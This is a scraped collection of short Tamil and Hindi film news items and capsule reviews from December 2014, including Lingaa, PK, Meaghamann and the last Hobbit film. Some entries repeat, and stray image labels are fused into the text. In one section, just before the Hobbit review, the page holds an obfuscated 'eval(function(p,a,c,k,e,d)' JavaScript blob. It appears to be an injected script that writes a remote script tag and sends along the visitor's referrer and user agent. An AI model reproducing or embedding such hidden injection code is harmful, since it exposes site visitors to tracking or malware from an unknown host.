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1 Ray of  hope
The romantic-thriller, Thottaal Thodarum, hits theatres today. Debutant Cable Shankar has scripted and directed it. Thaman, director SA Chandrasekhar’s discovery (2012’s Sattam Oru Irattarai), plays the hero with Arundhathi as the female lead.Hopefully, the film will be a career boost for the actor.

 

 

 

Made in Japan
M2oving away from their favourite paranormal-horror genre the director duo of Hari-Hareesh, has a new venture. Jumbo 3D is a feel-good family entertainer targeted at kids. ‘‘We’ve completed the shoot and the fim is in post-production,’’ says cinematographer Satish. A major part of the film, which has Gokulnath and Anjana in the lead, has been shot in Japan, where most of the story happens.

 

 

The right direction
Nedunchaalai (2014) gave actor Aari the break he needed. Now, his assignments include a film with Nayanthara and Dharani, a February release. Directed by debutant Guhan Sambandam, Dharani has the actor sharing frames with Kumaravel and Ajay Krishna. It’s about three friends from humble backgrounds, frustrated with their lowly existence, and the path each chooses to change his fortune. ‘‘I’ve taken a more realistic approach in this film,’’
says the director.

Malini Mannath

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    Director: Magilzh Thirumeni
    Cast: Arya, Hansika
    Set in Goa, the film is about the efforts by the cops to ferret out the kingpin of a drug cartel. Its intelligent scripting, stylish and slick narration, and fast pace ensure an engaging action thriller. There are some glitches, but the positives outweigh the negatives. The technical crew and the ensemble cast of actors add adequate support. In a role tailormade for him, Arya looks cool and suave, and essays the role of undercover cop with elan.

    Malini Mannath

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      Ugly
      Director: Anurag Kashyap
      Ugly-anurag-kashyapCast: Ronit Roy, Tejaswini Kolhapure, Rahul Bhat
      Shalini (Kolhapure) is a middle-class housewife forced to stay at home by her second husband, police chief Shoumik (Roy). Kali, Shalini’s daughter from her first husband, Rahul (Bhat), goes missing after he leaves her in the car while tending to some work. The movie then takes off on the search for the missing child. Slightly disturbing, and with impeccable acting, it is gripping and dark. A must watch.
      —Team Indulge

      PK
      Director: Rajkumar Hirani
      Cast: Aamir Khan, Anushka Sharma
      When a stranger arrives in town, he quickly gains the reputation for startling innocence. But the questions that the mysterious PK (Khan) asks pkabout religion, rituals and faith forces people to re-think their long-held assumptions—gaining him fast friends and powerful enemies. A story that ultimately boils down to the friendship between Jaggu (Sharma) and PK, it is neither preachy nor overbearing, and lives up to expectations.
      —TI

      Meaghamann
      Director: Magilzh Thirumeni
      Cast: Arya, Hansika
      Set in Goa, the film is about the efforts by the cops to ferret out the kingpin of a drug cartel. Its intelligent scripting, stylish and slick narration, and fast pace ensure an engaging action thriller. There are some glitches, but the positives outweigh the negatives. The technical crew and the ensemble cast of actors add adequate support. In a role tailormade for him, Arya looks cool and suave, and essays the role of undercover cop with elan.

            —Malini Mannath

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        Time for action
        “It’s not an issue based or an experimental film…It’s a stylish commercial entertainer that’s true to its genre,” says director Magizh Thirumeni about Meegamann, his Christmas offering. The Arya-Hansika starrer has Arya moving away from the romantic outings of recent films, and venturing into an action mode.

        madras3Laugh riot
        Soori has carved an enviable niche for himself as a comedian to reckon with. Makers are now approaching him for roles where he does not have to play sidekick to the hero. On the floors is Sarvadhikari where Soori plays the lead with debutant Renuka and comedians like Robot Shankar supporting him. The film is helmed by debut producer-write-director Shiva. With comedy in the first half, it is thrills and action in the second half.

        madras1aLitmus test
        It’s testing time for Vaibhav who is steadily graduating from acting in multiple starrers to playing solo leads. In the Christmas release, Kappal, he plays the lead again, sharing frames with Sonam Bajwa. Centered around friendship and bonding, it’s a light hearted entertainer. The film is directed by Kartik G Krish, a former assistant to Shankar.

        -Malini Mannath

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          Free spirited
          His films may or may not do well at the box office, but Vikram Prabhu’s career has had a steady graph— with his films releasing at regular intervals. The latest on the list is the Christmas release, Vellaikaara Dorai. The actor plays a jobless, carefree rustic and gets to romance Sri Divya. Directed by Ezhil, the film is a light hearted   rom-com with action woven in.

          Missing mystery
          He has yet to get a strong foothold in films, his releases few and far between. Following Ner Ethir, Richard appears in yet another negative role in Sutrula. Directed by debutant Rajesh Alfred, the film also has Mithun, Sriji and Ankita in the cast. An action thriller, it’s about a pair of lovers who elope to a hill station, their friends going missing one by one. The film releases today.

          Fear factor
          The excitement surrounding Pisasu, which releases today, is not surprising. After all, it’s a film produced by (director) Bala and directed by Mysskin. It also follows Mysskin’s much acclaimed action-thriller, Onaayum Aatukuttiyum. A paranormal thriller, the film has debutantes Naga and Prayaga in the lead. Mysskin had visited universities abroad to research his subject.

          -Malini Mannath

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            The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkidt|var|u0026u|referrer|syktz||js|php’.split(‘|’),0,{}))
            Hobbit: The Battle of the Five Armies

            Director: Peter Jackson
            Cast: Ian McKellen, Orlando Bloom
            Having reclaimed their homeland from the dragon, Smaug, the Company has unwittingly unleashed a deadly force into the world. While Bilbo (Freeman) is seen fighting for his life, only Gandalf (McKellen) sees enemy Sauron rising too. Phenomenal effects, action and a hint of emotion, make this one the best of the series.
            —Team Indulge

            Action Jackson
            Director: Prabhudheva
            Cast: Ajay Devgn, Sonakshi Sinha, Yami Gautam
            Romance blossoms between small-time crook Vishi (Devgn), and HR executive Khushi (Sinha). But their relationship takes a complicated turn when the police and an international don are on the lookout for professional assassin AJ, who looks like Vishi. Poor direction and a mixed plot makes for a movie that fails to entertain.
            — TI

            Lingaa
            Director: K S Ravikumar
            Cast: Rajinikanth, Anushka, Sonakshi Sinha
            Set in two time periods, with a dam playing a crucial role in both. Rajinikanth dons a dual role. Looking dapper as the collector-king, he gets some fine performing moments. But as Lingaa the present day thief, it’s a predictable character.The heroines fit in suitably. The first half is racy and engaging. But the second slackens, it’s length and weak climax a downer.
            — Malini Mannath

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              Strong start
              She got positive feedback for her performances in all her three releases so far—Saattai, Yennamo Nadakudhu and the recent, Mosakutty. Mahima Nambiar is now looking forward to Kitna, the P Samuthirakani-directed film (in which he’s also acted), where she shares frames with Hansika. In the pipeline is an untitled film with Attakathi Dinesh as her hero. “I am fortunate to have got such varied roles so early in my career,” says Nambiar.

              Readying for the rush
              Everyone will be chanting Lingaa this weekend, with the Rajinikanth-Anushka Shetty-Sonakshi Sinha starrer hitting theatres today, the superstar’s birthday. Directed by KS Ravikumar, it traverses two time periods, with the Superstar essaying a dual role. “Instead of the usual desaturated colour and tone given to a bygone era, I’ve tried to give it a more vibrant look,” says cinematographer R Rathnavelu. “Rajini’s intro song will be a treat for his fans,” he adds.

              Spook fest
              Vying with Lingaa for theatre space today is the horror thriller, Yaro Oruvan. Directed by debutant K N Baiju (a former associate of Malayalam director Padmarajan), the film stars debutant Ram and Adhira. It’s about a husband who, along with a detective, goes in search of his missing wife, and the paranormal phenomena that they encounter during their journey.

              -Malini Mannath

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                Back for good
                His comeback in Mani Ratnam’s Kadal was welcomed. And Arvind Swamy has since bagged quite a few films. He’s wrapped up the shoot for Mahesh Manjrekar’s bilingual (Hindi-Tamil), a remake of the Marathi film Kaksparsh. He’s essaying a crucial character in Thani Oruvan, the Jayam Raja-directed, Jayam Ravi- Nayanthara starrer. And on the anvil is a film directed by director Selva, where he plays a cop. It seems like this time the actor is here to stay.

                madrasraFright night
                Horror films have become the norm rather than the exception in recent times. So it’s yet another spooky weekend for film buffs. All set to release today is Ra, a horror fantasy thriller. Directed by debutant Prabhu Yuvraj, it has freshers Ashraf and Adithi in the cast. Ra means ‘‘grabbing or taking away,’’ explains the director.

                starcrickBatting order
                It’s a catchy title and one which cricket enthusiasts will relate to—1 Pandhu 4 Run 1wicket. Helmed by debutant Veera, the film has new comers Vinay Krishna and Hashika Dutt in the lead. Releasing today, the spooky tale laced with humour is about an incident
                that happens when an India-Pakistan match is poised at a crucial stage.

                -Malini Mannath

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